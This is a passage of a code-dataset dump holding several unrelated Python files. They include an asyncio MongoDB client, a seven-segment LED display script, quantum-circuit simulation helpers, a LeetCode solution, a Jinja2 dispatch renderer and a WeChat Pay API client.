isinstance(name, str):\n raise TypeError(\"name must be an instance of str\")\n if not isinstance(password, str):\n raise TypeError(\"password must be an instance of str\")\n # First get the nonce\n result = yield from self[\"$cmd\"].find_one({\"getnonce\": 1})\n return (yield from self.authenticate_with_nonce(result, name, password))\n\n @asyncio.coroutine\n def authenticate_with_nonce(self, result, name, password):\n nonce = result['nonce']\n key = auth._auth_key(nonce, name, password)\n # hacky because order matters\n auth_command = SON(authenticate=1)\n auth_command['user'] = name\n auth_command['nonce'] = nonce\n auth_command['key'] = key\n # Now actually authenticate\n result = yield from self[\"$cmd\"].find_one(auth_command)\n return self.authenticated(result)\n\n @asyncio.coroutine\n def authenticated(self, result):\n \"\"\"might want to just call callback with 0.0 instead of errback\"\"\"\n ok = result['ok']\n if ok:\n return ok\n else:\n raise errors.PyMongoError(result['errmsg'])\n\n\nclass Connection(object):\n \"\"\"\n Wrapper around the protocol and transport which takes care of establishing\n the connection and reconnecting it.\n connection = yield from Connection.create(host='localhost', port=6379)\n result = yield from connection.set('key', 'value')\n \"\"\"\n protocol = _Protocol\n \"\"\"\n The :class:`_Protocol` class to be used this connection.\n \"\"\"\n\n @classmethod\n @asyncio.coroutine\n def create(cls, host='localhost', port=27017, loop=None, auto_reconnect=False):\n connection = cls()\n connection.host = host\n connection.port = port\n connection._loop = loop\n connection._retry_interval = .5\n # Create protocol instance\n protocol_factory = type('_Protocol', (cls.protocol,), {})\n if auto_reconnect:\n class protocol_factory(protocol_factory):\n def connection_lost(self, exc):\n super().connection_lost(exc)\n asyncio.Task(connection._reconnect())\n\n connection.protocol = protocol_factory()\n # Connect\n yield from connection._reconnect()\n return connection\n\n @asyncio.coroutine\n def disconnect(self):\n if self.transport:\n return self.transport.close()\n\n @property\n def transport(self):\n \"\"\" The transport instance that the protocol is currently using. \"\"\"\n return self.protocol.transport\n\n def _get_retry_interval(self):\n \"\"\" Time to wait for a reconnect in seconds. \"\"\"\n return self._retry_interval\n\n def _reset_retry_interval(self):\n \"\"\" Set the initial retry interval. \"\"\"\n self._retry_interval = .5\n\n def _increase_retry_interval(self):\n \"\"\" When a connection failed. Increase the interval.\"\"\"\n self._retry_interval = min(60, 1.5 * self._retry_interval)\n\n def _reconnect(self):\n \"\"\"\n Set up Mongo connection.\n \"\"\"\n loop = self._loop or asyncio.get_event_loop()\n while True:\n try:\n # print('connecting...')\n yield from loop.create_connection(lambda: self.protocol, self.host, self.port)\n self._reset_retry_interval()\n return\n except OSError:\n # Sleep and try again\n self._increase_retry_interval()\n interval = self._get_retry_interval()\n print('Connecting to mongo failed. Retrying in %i seconds' % interval)\n yield from asyncio.sleep(interval)\n\n def __getitem__(self, database_name):\n return Database(self.protocol, database_name)\n\n def __getattr__(self, database_name):\n return self[database_name]\n\n def __repr__(self):\n return 'Connection(host=%r, port=%r)' % (self.host, self.port)\n\n\n\nclass Pool(object):\n \"\"\"\n Pool of connections. Each Takes care of setting up the connection and connection pooling.\n When pool_size > 1 and some connections are in use because of \n transactions or blocking requests, the other are preferred.\n pool = yield from Pool.create(host='localhost', port=6379, pool_size=10)\n result = yield from connection.set('key', 'value')\n \"\"\"\n\n protocol = _Protocol\n \"\"\" The :class:`_Protocol` class to be used for each connection in this pool. \"\"\"\n\n @classmethod\n def get_connection_class(cls):\n \"\"\" Return the :class:`Connection` class to be used for every connection in\n this pool. Normally this is just a ``Connection`` using the defined ``protocol``\n \"\"\"\n class ConnectionClass(Connection):\n protocol = cls.protocol\n return ConnectionClass\n\n @classmethod\n @asyncio.coroutine\n def create(cls, host='localhost', port=27017, loop=None, poolsize=1, auto_reconnect=True):\n \"\"\" Create a new pool instance. \"\"\"\n self = cls()\n self._host = host\n self._port = port\n self._pool_size = poolsize\n\n # Create connections\n self._connections = []\n\n for i in range(poolsize):\n connection_class = cls.get_connection_class()\n connection = yield from connection_class.create(host=host, port=port, loop=loop,\n auto_reconnect=auto_reconnect)\n self._connections.append(connection)\n\n return self\n\n def __repr__(self):\n return 'Pool(host=%r, port=%r, pool_size=%r)' % (self._host, self._port, self._poolsize)\n\n @property\n def pool_size(self):\n \"\"\" Number of parallel connections in the pool.\"\"\"\n return self._poolsize\n\n @property\n def connections_connected(self):\n \"\"\"\n The amount of open TCP connections.\n \"\"\"\n return sum([1 for c in self._connections if c.protocol.is_connected])\n\n def close(self):\n for conn in self._connections:\n conn.disconnect()\n\n def _get_free_connection(self):\n \"\"\"\n Return the next protocol instance that's not in use.\n (A protocol in pubsub mode or doing a blocking request is considered busy,\n and can't be used for anything else.)\n \"\"\"\n self._shuffle_connections()\n for c in self._connections:\n if c.protocol.is_connected:\n return c\n\n def _shuffle_connections(self):\n \"\"\"\n 'shuffle' protocols. Make sure that we divide the load equally among the protocols.\n \"\"\"\n self._connections = self._connections[1:] + self._connections[:1]\n\n def __getattr__(self, name):\n \"\"\"\n Proxy to a protocol. (This will choose a protocol instance that's not\n busy in a blocking request or transaction.)\n \"\"\"\n if 'close' == name:\n return self.close\n connection = self._get_free_connection()\n\n if connection:\n return getattr(connection, name)\n else:\n raise errors.PyMongoError('No available connections in the pool: size=%s, connected=%s' % \n (self.pool_size, self.connections_connected))\n return None\n\n\n\n@asyncio.coroutine\ndef test():\n from pprint import pprint\n mc = yield from Connection.create(host='127.0.0.1', port=27017)\n doc = yield from mc.local.startup_log.find_one()\n pprint(doc)\n yield from mc.disconnect()\n\n\nif __name__ == '__main__':\n loop = asyncio.get_event_loop()\n loop.run_until_complete(test())\n\n\n\n\n","sub_path":"magic3/asyncs/mongoclient.py","file_name":"mongoclient.py","file_ext":"py","file_size_in_byte":32052,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"}
+{"seq_id":"263322648","text":"#! /usr/bin/python\n#\n# sudo python sevenseg_i2c.py -- display number\n# sudo python sevenseg_i2c.py -- display text(very limited)\n# sudo python sevenseg_i2c.py -- count to 200\n#\n# Outputs decimal numbers to AdaFruit LED Backback 7 Segment display\n#\n# i2c must be enabled on the raspberry pi. If you don't see /dev/i2c-1 this\n# code can't work. \n# Link from your current directory to the following driver files cloned from\n# https://github.com/adafruit/Adafruit-Raspberry-Pi-Python-Code:\n# Adafruit_I2C.py\n# Adafruit_7Segment.py\n# Adafruit_LEDBackpack.py\n\nimport sevenseg\n\nimport sys\nimport time\n\nfrom Adafruit_7Segment import SevenSegment\n\nclass SevenSegDisplay:\n\n def __init__(self, num_digits=4, address=0x70):\n self.num_digits = num_digits\n self.digit = 0\n self.seg = SevenSegment(address)\n\n def setup(self):\n return None\n\n def cleanup(self):\n return None\n\n def start(self):\n self.digit = 0\n\n def latch(self):\n return None\n\n def send_raw(self, segments):\n self.seg.writeDigitRaw(self.digit, segments)\n self.digit += 1\n # digits 2 is the colon, skip \n if self.digit == 2:\n self.digit += 1\n\n def output(self, value):\n \"\"\" Outputs a string or a integer number onto 7-segment display.\"\"\"\n raw = sevenseg.text(value, self.num_digits)\n self.start()\n for c in raw:\n self.send_raw(c)\n\n def blank(self):\n \"\"\" Blanks the display (all LED off). \"\"\"\n raw = sevenseg.blanks(self.num_digits)\n self.start()\n for c in raw:\n self.send_raw(c)\n\ndef main():\n \"\"\" Simple test: drive one or more displays \"\"\"\n args=sys.argv\n\n if len(args) < 2:\n # count on the first display\n display = SevenSegDisplay()\n display.setup()\n for num in range(0,200):\n display.start()\n display.output(num)\n display.latch()\n time.sleep(0.1)\n display.cleanup()\n else:\n # show values across multipel displays\n address = 0x70\n displays = []\n for value in args[1:]:\n displays += [SevenSegDisplay(address = address)]\n address += 1\n count = 1\n displays[0].start()\n for d in displays: \n d.output(args[count])\n count += 1\n displays[0].latch()\n\n\nif __name__ == \"__main__\":\n main()\n","sub_path":"client/sevenseg_i2c.py","file_name":"sevenseg_i2c.py","file_ext":"py","file_size_in_byte":2226,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"}
+{"seq_id":"324839278","text":"#!/usr/bin/env python3\n\nimport sys\nfrom ..format.parameter_type import scalar,matrix\nfrom .generator import generators\nfrom ..color_print import Error\n\nclass independent_scalar(scalar,generators):\n def __init__(self,name,block,code\n ,minimum=None,maximum=None,value=None\n ,strategy='random'\n ,prior_distribution='uniform'\n ,**args\n ):\n super().__init__(name,block,code,value)\n self.minimum=minimum\n self.maximum=maximum\n self.value=value\n self.strategy=strategy\n self.prior_distribution=prior_distribution\n\n self.check(**args)\n self.Generate=getattr(self,prior_distribution)\n def print(self,out=None):\n if out is None:\n out=sys.stdout\n out.write('\\t%s\\t%f\\n'%(self.name,self.value))\n\n def check(self,**args):\n if self.strategy=='random':\n if any([ getattr(self,i) is None for i in ('minimum','maximum')]):\n Error('unknown bounds of parameter %s '%self.name)\n else:\n Error('Unknown strategy: %s'%self.strategy)\n\nclass follower(scalar):\n def __init__(self,name,block,code,target):\n super().__init__(name,block,code)\n self.target=target\n def Generate(self):\n self.value=self.target.value\n\nclass independent_element(independent_scalar):\n pass\n\n\nclass independent_matrix(matrix,generators):\n def __init__(self, name, block, shape = None, value = None, free_element_list=None):\n super().__init__(name, block, shape, value)\n self.free_elements={}\n self.follower_elements={}","sub_path":"ScanCraft/command/scan/free_parameter.py","file_name":"free_parameter.py","file_ext":"py","file_size_in_byte":1636,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"}
+{"seq_id":"615632408","text":"import numpy as np\nimport tncontract as tn\nimport qutip as qt\nfrom itertools import product\nfrom functools import reduce\n\ndef local_operator(site, local, n_sites):\n \"\"\"\n Simple Local operator function taking a site, the local gate and the number of sites\n \"\"\"\n I = qt.qeye(2)\n width = len(local.dims[0])\n if (site + width > (n_sites)):\n raise ValueError(\"n_sites should be >= site + locality ({} > {})\".format(site+width, n_sites))\n return reduce(qt.tensor, [I for _ in range(site)] + [local] + [I for _ in range(site+width,n_sites)])\n\ndef k_site_paulis(k):\n \"\"\"\n Returns the k-site Pauli operators\n \"\"\"\n paulis = [p/np.sqrt(2) for p in [qt.qeye(2),qt.sigmax(),qt.sigmay(),qt.sigmaz()]]\n r = tuple([range(4) for _ in range(int(k))])\n return [qt.tensor([paulis[i] for i in ranges]) for ranges in product(*r)]\n\ndef ptm_to_super(G):\n \"\"\"\n Converts a PTM to the corresponding superoperator in the computational basis\n \"\"\"\n n = int(np.log2(G.shape[0])/2.)\n paulis = k_site_paulis(n)\n # Pauli change of basis matrix (already normalised)\n T = np.array([p.full().reshape(-1) for p in paulis])\n # check if G is a ket\n if G.shape[1] == 1:\n return np.conj(T.T) @ G\n else:\n return np.conj(T.T) @ G @ T\n\nfrom copy import deepcopy\n\n\"\"\"\nSingle-qubit gates\n\"\"\"\n\n\ndef single_qubit_gate(theta, phi):\n \"\"\"\n Return a single-qubit unitary gate with angles theta and phi.\n \"\"\"\n gate = np.array([\n [np.cos(theta / 2), -1j * np.exp(-1j * phi) * np.sin(theta / 2)],\n [-1j * np.exp(1j * phi) * np.sin(theta / 2), np.cos(theta / 2)]\n ])\n return tn.Tensor(gate.reshape(2, 2, 1, 1), ['physout', 'physin', 'left', 'right'])\n\n\ndef single_qubit_gate_layer(n_sites, angles):\n \"\"\"\n Return an MPO with single-qubit gates along the chain.\n Parameters\n ----------\n n_sites : int\n angles: list\n List of tuples containing the single qubit rotation angles. Each site\n needs (\\theta_i, \\phi_i).\n \"\"\"\n mpo = [single_qubit_gate(*site_angles) for site_angles in angles]\n return tn.onedim.MatrixProductOperator(mpo)\n\n\ndef random_single_qubit_gate_layer(n_sites):\n \"\"\"\n Return an MPO with random-angled single-qubit gates along the chain.\n Parameters\n ----------\n n_sites : int\n \"\"\"\n angles = [(2 * np.pi * np.random.rand(), 2 * np.pi * np.random.rand()) for _ in range(n_sites)]\n return single_qubit_gate_layer(n_sites, angles)\n\n\ndef random_single_qubit_layer_qutip(n_qubits):\n operators = []\n for n in range(n_qubits):\n operators.append(qt.rand_unitary(2))\n return qt.to_super(qt.tensor(operators))\n\n\n\"\"\"\nTwo-qubit gates\n\"\"\"\n\n\ndef two_qubit_ms_gate(theta):\n \"\"\"\n Return a two-qubit Molmer-Sorenson gate with angle theta.\n \"\"\"\n gate = qt.operations.molmer_sorensen(theta, 2).full()\n\n # Turn the gate into Tensor with physical and virtual bonds.\n gate_tensor = tn.Tensor(gate.reshape(4, 4, 1, 1), ['physout', 'physin', 'left', 'right'])\n\n # Split physical bonds into single-qubit sites.\n gate_tensor.split_index('physout', (2, 2), ['physout_1', 'physout_2'])\n gate_tensor.split_index('physin', (2, 2), ['physin_1', 'physin_2'])\n\n # SVD cut the two-qubit gate into small 2-site MPO.\n U, V = tn.tensor_svd(gate_tensor, row_labels=['physout_1', 'physin_1', 'left'], absorb_singular_values='left')\n U.replace_label(['physout_1', 'physin_1', 'svd_in'], ['physout', 'physin', 'right'])\n V.replace_label(['physout_2', 'physin_2', 'svd_out'], ['physout', 'physin', 'left'])\n return [U, V]\n\ndef two_qubit_gate_layer_qutip(n_sites, thetas, left=0):\n \"\"\"\n Return an MPO with Molmer-Sorenson gates along the chain.\n Parameters\n ----------\n n_sites : int\n thetas: list\n list of MS gate angles\n left : int\n left determines wether the two qubit gates begin from\n qubit 0 or 1. For example, to make ladder circuits\n \"\"\"\n if left != 0 and left != 1:\n raise ValueError(\"left={}. Can only take the value 0 or 1\".format(left))\n\n id = qt.qeye(2)\n gates = [qt.operations.molmer_sorensen(theta) for theta in thetas]\n\n if n_sites % 2 == 0:\n if left == 0:\n return qt.to_super(reduce(qt.tensor, gates))\n else:\n # Pads identities on each end of the chain\n return qt.to_super(reduce(qt.tensor, [id] + gates + [id]))\n else:\n if left == 0:\n # Put an identity tensor at end qubit\n return qt.to_super(reduce(qt.tensor, gates + [id]))\n else:\n # Put an identity tensor on the first qubit.\n return qt.to_super(reduce(qt.tensor, [id] + gates))\n\ndef two_qubit_gate_layer(n_sites, thetas, left=0):\n \"\"\"\n Return an MPO with Molmer-Sorenson gates along the chain.\n Parameters\n ----------\n n_sites : int\n thetas: list\n list of MS gate angles\n left : int\n left determines wether the two qubit gates begin from\n qubit 0 or 1. For example, to make ladder circuits\n \"\"\"\n if left != 0 and left != 1:\n raise ValueError(\"left={}. Can only take the value 0 or 1\".format(left))\n\n id_tensor = tn.Tensor(np.eye(2).reshape(2, 2, 1, 1), ['physout', 'physin', 'left', 'right'])\n mpo = []\n for theta in thetas:\n mpo += two_qubit_ms_gate(theta)\n\n if n_sites % 2 == 0:\n if left == 0:\n return tn.onedim.MatrixProductOperator(mpo)\n else:\n # Pads identities on each end of the chain\n return tn.onedim.MatrixProductOperator([id_tensor] + mpo + [id_tensor])\n else:\n if left == 0:\n # Put an identity tensor at end qubit\n return tn.onedim.MatrixProductOperator(mpo + [id_tensor])\n else:\n # Put an identity tensor on the first qubit.\n return tn.onedim.MatrixProductOperator([id_tensor] + mpo)\n\ndef random_two_qubit_gate_layer_qutip(n_sites, left=0):\n \"\"\"\n Return an MPO with random-angled Molmer-Sorenson gates along the chain.\n Parameters\n ----------\n n_sites : int\n left : int\n If n_sites is an odd number, left determines wether the two qubit gates begin from\n qubit 0 (aligned left) or 1 (aligned right).\n \"\"\"\n if n_sites % 2 == 0 and left == 1:\n # This is case where we need to pad identities at the ends of the chain.\n n_gates = int((n_sites - 1) / 2)\n else:\n n_gates = int(np.floor(n_sites / 2))\n thetas = 2 * np.pi * np.random.rand(n_gates)\n return two_qubit_gate_layer_qutip(n_sites, thetas, left=left)\n\ndef random_two_qubit_gate_layer(n_sites, left=0):\n \"\"\"\n Return an MPO with random-angled Molmer-Sorenson gates along the chain.\n Parameters\n ----------\n n_sites : int\n left : int\n If n_sites is an odd number, left determines wether the two qubit gates begin from\n qubit 0 (aligned left) or 1 (aligned right).\n \"\"\"\n if n_sites % 2 == 0 and left == 1:\n # This is case where we need to pad identities at the ends of the chain.\n n_gates = int((n_sites - 1) / 2)\n else:\n n_gates = int(np.floor(n_sites / 2))\n thetas = 2 * np.pi * np.random.rand(n_gates)\n return two_qubit_gate_layer(n_sites, thetas, left=left)\n\ndef random_two_qubit_gate_ladder_qutip(n_sites):\n \"\"\"\n Return a random two-qubit ladder circuit in the form of two MPOs.\n Parameters\n ----------\n n_sites : int\n \"\"\"\n if n_sites <= 2:\n raise ValueError(\"Must have more than 2 qubits to form a ladder circuit (n_sites={}).\".format(n_sites))\n layer_1 = random_two_qubit_gate_layer_qutip(n_sites, left=0)\n layer_2 = random_two_qubit_gate_layer_qutip(n_sites, left=1)\n return layer_1, layer_2\n\ndef random_two_qubit_gate_ladder(n_sites):\n \"\"\"\n Return a random two-qubit ladder circuit in the form of two MPOs.\n Parameters\n ----------\n n_sites : int\n \"\"\"\n if n_sites <= 2:\n raise ValueError(\"Must have more than 2 qubits to form a ladder circuit (n_sites={}).\".format(n_sites))\n layer_1 = random_two_qubit_gate_layer(n_sites, left=0)\n layer_2 = random_two_qubit_gate_layer(n_sites, left=1)\n return layer_1, layer_2\n\n\n\"\"\"\nNoise models\n\"\"\"\n\n\ndef depolarising_channel(p):\n \"\"\"\n Return the superoperator for a depolarising channel.\n \"\"\"\n return qt.kraus_to_super([\n np.sqrt(1 - 3.*p/4.) * qt.qeye(2),\n np.sqrt(p/4.) * qt.sigmax(),\n np.sqrt(p/4.) * qt.sigmay(),\n np.sqrt(p/4.) * qt.sigmaz()\n ])\n\n\ndef bit_flip_layer(p, n_sites):\n \"\"\"\n Return a circuit layer where each site experiences a bit-flip error with\n probability p.\n \"\"\"\n x_error = tn.Tensor(\n qt.sigmax().full().reshape(2, 2, 1, 1),\n ['physout', 'physin', 'left', 'right']\n )\n id_tensor = tn.Tensor(\n np.eye(2).reshape(2, 2, 1, 1),\n ['physout', 'physin', 'left', 'right']\n )\n return tn.onedim.MatrixProductOperator(\n [x_error if error_site else id_tensor for error_site in np.random.binomial(1, p, n_sites)]\n )\n\n\n\"\"\"\nOther tools\n\"\"\"\n\n\ndef output_probabilities(psi):\n \"\"\"\n Extract the probabilities for obtaining each output of a quantum circuit.\n \"\"\"\n psi_copy = deepcopy(psi)\n psi_copy.left_canonise(normalise=True)\n psi_vec = tn.onedim.contract_virtual_indices(psi_copy)\n psi_vec.fuse_indices('physout', 'physout')\n probs = abs(psi_vec.data.reshape(-1, 1)) ** 2\n return probs\n","sub_path":"Week1_Trapped_Ions/src/simulation_utils.py","file_name":"simulation_utils.py","file_ext":"py","file_size_in_byte":9566,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"}
+{"seq_id":"553037225","text":"# 115. 不同的子序列\n\n\n# 给定一个字符串 S 和一个字符串 T,计算在 S 的子序列中 T 出现的个数。\n\n# 一个字符串的一个子序列是指,通过删除��些(也可以不删除)字符且不干扰剩余字符相对位置所组成的新字符串。(例如,\"ACE\" 是 \"ABCDE\" 的一个子序列,而 \"AEC\" 不是)\n\n# 示例 1:\n\n# 输入: S = \"rabbbit\", T = \"rabbit\"\n# 输出: 3\n# 解释:\n\n# 如下图所示, 有 3 种可以从 S 中得到 \"rabbit\" 的方案。\n# (上箭头符号 ^ 表示选取的字母)\n\n# rabbbit\n# ^^^^ ^^\n# rabbbit\n# ^^ ^^^^\n# rabbbit\n# ^^^ ^^^\n# 示例 2:\n\n# 输入: S = \"babgbag\", T = \"bag\"\n# 输出: 5\n# 解释:\n\n# 如下图所示, 有 5 种可以从 S 中得到 \"bag\" 的方案。 \n# (上箭头符号 ^ 表示选取的字母)\n\n# babgbag\n# ^^ ^\n# babgbag\n# ^^ ^\n# babgbag\n# ^ ^^\n# babgbag\n# ^ ^^\n# babgbag\n# ^^^\n\n\n\n\n\nclass Solution(object):\n def numDistinct(self, s, t):\n \"\"\"\n :type s: str\n :type t: str\n :rtype: int\n \"\"\"\n \n ways = [0 for _ in xrange(len(t) + 1)]\n ways[0] = 1\n for S_char in s:\n for j, T_char in reversed(list(enumerate(t))):\n if S_char == T_char:\n ways[j + 1] += ways[j]\n return ways[len(t)]\n \n \n \n","sub_path":"Python/115.py","file_name":"115.py","file_ext":"py","file_size_in_byte":1331,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"}
+{"seq_id":"25501532","text":"\"\"\"Render dispatches from templates.\n\"\"\"\n\nimport logging\n\nimport toml\nimport jinja2\nimport bbcode\n\nfrom meguca import exceptions\nfrom meguca.plugins.src.dispatch_updater import bb_parser\nfrom meguca.plugins.src.dispatch_updater import utils\n\n\nlogger = logging.getLogger(__name__)\n\n\nclass CustomVars():\n \"\"\"Custom variables.\n\n Args:\n custom_vars_path (str|list): Custom vars files.\n \"\"\"\n\n def __init__(self, custom_vars_path):\n self._custom_vars = {}\n\n if isinstance(custom_vars_path, list):\n for custom_vars_file in custom_vars_path:\n self.load_custom_vars(custom_vars_file)\n elif custom_vars_path == '':\n logger.debug('No custom vars file found')\n else:\n self.load_custom_vars(custom_vars_path)\n\n def load_custom_vars(self, custom_vars_file):\n \"\"\"Load custom vars from files\n\n Args:\n custom_vars_file (str): Custom vars file name\n \"\"\"\n\n try:\n self._custom_vars.update(toml.load(custom_vars_file))\n logger.debug('Loaded custom vars file \"%s\"', custom_vars_file)\n except FileNotFoundError:\n raise FileNotFoundError('Custom vars file \"%s\" not found'.format(custom_vars_file))\n\n @property\n def custom_vars(self):\n return self._custom_vars\n\n\nclass TemplateRenderer():\n \"\"\"Render a dispatch template.\n\n Args:\n template_dir_path (str): Template file directory.\n filters_path (str): Path to filters file.\n template_ext (str): Template file extension.\n \"\"\"\n\n def __init__(self, template_dir_path, filters_path, template_ext):\n if template_dir_path is None:\n raise exceptions.PluginError('Dispatch template directory path not configured!')\n template_loader = jinja2.FileSystemLoader(template_dir_path)\n # Make access to undefined context variables generate logs.\n undef = jinja2.make_logging_undefined(logger=logger)\n self.env = jinja2.Environment(loader=template_loader, trim_blocks=True, undefined=undef)\n self.template_ext = template_ext\n\n if filters_path is not None:\n filters = utils.get_funcs(filters_path)\n if filters is None:\n logger.warning('Filter file not found!')\n else:\n loaded_filters = {}\n for filter in filters:\n loaded_filters[filter[0]] = filter[1]\n logger.debug('Loaded filter \"%s\"', filter[0])\n self.env.filters.update(loaded_filters)\n logger.info('Loaded all custom filters')\n\n def validate_templates(self):\n \"\"\"Validate syntax and existence of templates.\n \"\"\"\n\n for template in self.env.list_templates(extensions=self.template_ext):\n try:\n self.env.get_template(template)\n except jinja2.TemplateSyntaxError as e:\n logger.error('Dispatch template \"%s\" syntax error at line %d: %s',\n template, e.lineno, e.message)\n\n def render(self, name, context):\n \"\"\"Render a dispatch template.\n\n Args:\n name (str): Dispatch template name.\n context (dict): Context for the template.\n\n Returns:\n str: Rendered template.\n \"\"\"\n\n template_path = '{}.{}'.format(name, self.template_ext)\n return self.env.get_template(template_path).render(context)\n\n\nclass Renderer():\n \"\"\"Render dispatches from templates and process custom BBcode tags.\n\n Args:\n config: Configuration.\n \"\"\"\n\n def __init__(self, config):\n template_config = config.get('template', {})\n self.template_renderer = TemplateRenderer(template_config.get('template_dir_path', None),\n template_config.get('filters_path', None),\n template_config.get('template_file_ext', None))\n\n bb_config = config.get('bbcode', {})\n self.bb_parser = bb_parser.BBParser(bb_config.get('simple_formatter_path', None),\n bb_config.get('complex_formatter_path', None),\n bb_config.get('complex_formatter_config_path', None))\n\n custom_vars = CustomVars(config.pop('custom_vars_path', None))\n\n # Context for templates\n self.ctx = custom_vars.custom_vars\n\n def update_ctx(self, data, plg_config, ext_config, dispatch_info):\n \"\"\"Update context with new info.\n\n Args:\n data (dict): New data.\n plg_config (dict): Our plugin's configuration.\n config (dict): Meguca and other plugins' configuration.\n dispatch_info (dict): Dispatch information.\n \"\"\"\n\n self.ctx.update({'data_products': data, 'config': plg_config,\n 'ext_config': ext_config, 'dispatch_info': dispatch_info})\n\n def render(self, name):\n \"\"\"Render a dispatch.\n\n Args:\n name (str): Dispatch file name.\n\n Returns:\n str: Rendered dispatch.\n \"\"\"\n\n self.ctx['current_dispatch'] = {'name': name}\n self.ctx['current_dispatch'].update(self.ctx['dispatch_info'][name])\n\n rendered = self.template_renderer.render(name, self.ctx)\n rendered = self.bb_parser.format(rendered, **self.ctx)\n\n logger.debug('Rendered dispatch \"%s\"', name)\n\n return rendered\n","sub_path":"meguca/plugins/src/dispatch_updater/dispatch_renderer.py","file_name":"dispatch_renderer.py","file_ext":"py","file_size_in_byte":5503,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"}
+{"seq_id":"188252859","text":"# coding: utf-8\nimport logging\nimport requests\nimport rsa\nimport os\nimport base64\nimport json as json_pkg\nfrom hashlib import md5, sha1\nfrom pickle import dumps, loads\n\nfrom Crypto.Cipher import PKCS1_OAEP\nfrom Crypto.PublicKey import RSA\n\nfrom werobot.client import Client, time\nfrom werobot.utils import generate_token\n\nfrom requests.compat import json as _json\n\nfrom django.conf import settings\n\nfrom management.utils.util import dict_parse_from_xml\nfrom management.utils.redis_db import redis\n\n# 获取jsticket\nJSTICKET_URI = 'https://api.weixin.qq.com/cgi-bin/ticket/getticket'\n# 参数微信js config签名url\nJSPARAMS_URI = 'http://mp.weixin.qq.com?params=value'\n# 统一支付接口\nJSPAY_URI = 'https://api.mch.weixin.qq.com/pay/unifiedorder'\n# 企业付款到银行卡\nPAY_BANK_URI = 'https://api.mch.weixin.qq.com/mmpaysptrans/pay_bank'\n# RSA public key\nPUBLIC_KEY_URI = 'https://fraud.mch.weixin.qq.com/risk/getpublickey'\n# pay to promotion\nPROMOTION_TRANSFERS_URI = \"https://api.mch.weixin.qq.com/mmpaymkttransfers/promotion/transfers\"\n# query bank uri\nQUERY_BANK_URI = \"https://api.mch.weixin.qq.com/mmpaysptrans/query_bank\"\n# query transfer uri\nQUERY_TRANSFER_INFO_URI = \"https://api.mch.weixin.qq.com/mmpaymkttransfers/gettransferinfo\"\n\nBASE_PATH = os.path.dirname(os.path.abspath(__file__))\nPUBLIC_PEM = os.path.join(\"\", BASE_PATH, \"pem\", settings.PROJECT_NAME, \"public.pem\")\n\nAPICLIENT_CERT = os.path.join(\"/\", BASE_PATH, \"pem\", settings.PROJECT_NAME, \"apiclient_cert.pem\")\nAPICLIENT_KEY = os.path.join(\"/\", BASE_PATH, \"pem\", settings.PROJECT_NAME, \"apiclient_key.pem\")\n\n# 接口查询\nORDER_QUERY = \"https://api.mch.weixin.qq.com/pay/orderquery\"\nlogger = logging.getLogger('sdk')\n\n\ndef get_sign(kwargs, sign_type='MD5', pay_sign_key=None, is_upper=True):\n \"\"\"\n 微信签名参数组装\n @param: params 参与签名的参数\n @param: sign_type 签名类型\n @param: pay_sign_key 是否需要支付密钥\n @return: sign, sign_type\n \"\"\"\n # 根据ascii码进行排序\n print(kwargs, 'kwargs')\n params = list(kwargs.items())\n params.sort()\n # urle拼接\n string = \"&\".join([\"%s=%s\" % (str(p[0]), str(p[1])) for p in params])\n if pay_sign_key:\n string += \"&key=%s\" % pay_sign_key\n print(string, 'string')\n string = bytes(string, \"UTF-8\")\n # 生成签名 Point: 这里签名时间戳,必须与wxconfig中得时间戳一致---坑呀\n sign = \"\"\n if sign_type == \"MD5\":\n sign = md5(string).hexdigest().upper() if is_upper else md5(string).hexdigest()\n if sign_type == \"SHA1\":\n sign = sha1(string).hexdigest().upper() if is_upper else sha1(string).hexdigest()\n return sign, sign_type\n\n\nclass PayException(Exception):\n pass\n\n\nclass PayClient(Client):\n def __init__(self, appid, appserect):\n # werobot 更新\n config = {'APP_ID': appid, 'APP_SECRET': appserect}\n super(PayClient, self).__init__(config)\n self.js_ticket = None\n self.js_express = None\n self.pay_sign_key = settings.WECHAT_API_KEY\n self.partner_id = settings.WECHAT_PARTNER_ID\n self.line_url = \"weixin://wxpay/bizpayurl?sign={sign}&appid={appid}&mch_id={mch_id}&product_id={product_id}&\" \\\n \"time_stamp={time_stamp}&nonce_str={nonce_str}\"\n\n @property\n def _now_time(self):\n return int(time.time())\n\n def partner_trade_no(self, extra_code):\n return \"{}{}\".format(str(self._now_time), extra_code)\n\n def signature(self, string):\n \"\"\"\n 公钥加密,提现到银行卡, 签名.\n \"\"\"\n # 读取pem public key文件\n logger.info('PUBLIC_PEM: {}'.format(PUBLIC_PEM))\n with open(PUBLIC_PEM, 'rb') as publickey_file:\n pub = publickey_file.read()\n # 加密\n publickey = RSA.importKey(pub)\n cipher = PKCS1_OAEP.new(publickey)\n\n signature = cipher.encrypt(string.encode(\"utf-8\"))\n signature_base64 = base64.b64encode(signature).decode('utf-8')\n return signature_base64\n\n def request(self, method, url, **kwargs):\n if isinstance(kwargs.get(\"data\", \"\"), dict):\n body = _json.dumps(kwargs[\"data\"], ensure_ascii=False)\n body = body.encode('utf8')\n kwargs[\"data\"] = body\n\n verify = kwargs.pop(\"verify\", True)\n r = requests.request(\n method=method,\n url=url,\n verify=verify,\n **kwargs\n )\n r.raise_for_status()\n # 根据返回格式转换成json\n try:\n json = r.json()\n logger.info(\"json: {}\".format(json))\n except ValueError:\n logger.info(\"content: {}\".format(str(r.content, \"utf-8\")))\n json = dict_parse_from_xml(r.content)\n logger.info(\"content json: {}\".format(json))\n return json\n\n def get_access_token(self):\n \"\"\"\n 判断现有的token是否过期。\n 用户需要多进程或者多机部署可以手动重写这个函数\n 来自定义token的存储,刷新策略。\n :return: 返回token\n \"\"\"\n key_access_token = \"pay_client_access_token\"\n stream = redis.get(key_access_token)\n if stream:\n self._token, self.token_expires_at = loads(stream)\n\n if self._token:\n now = time.time()\n if self.token_expires_at - now > 480:\n logger.info(\"exipres ticket: {}\".format(self.token_expires_at - now))\n return self._token\n\n json = self.grant_token()\n self._token = json[\"access_token\"]\n self.token_expires_at = int(time.time()) + json[\"expires_in\"]\n # set\n redis.set(key_access_token, dumps([self._token, 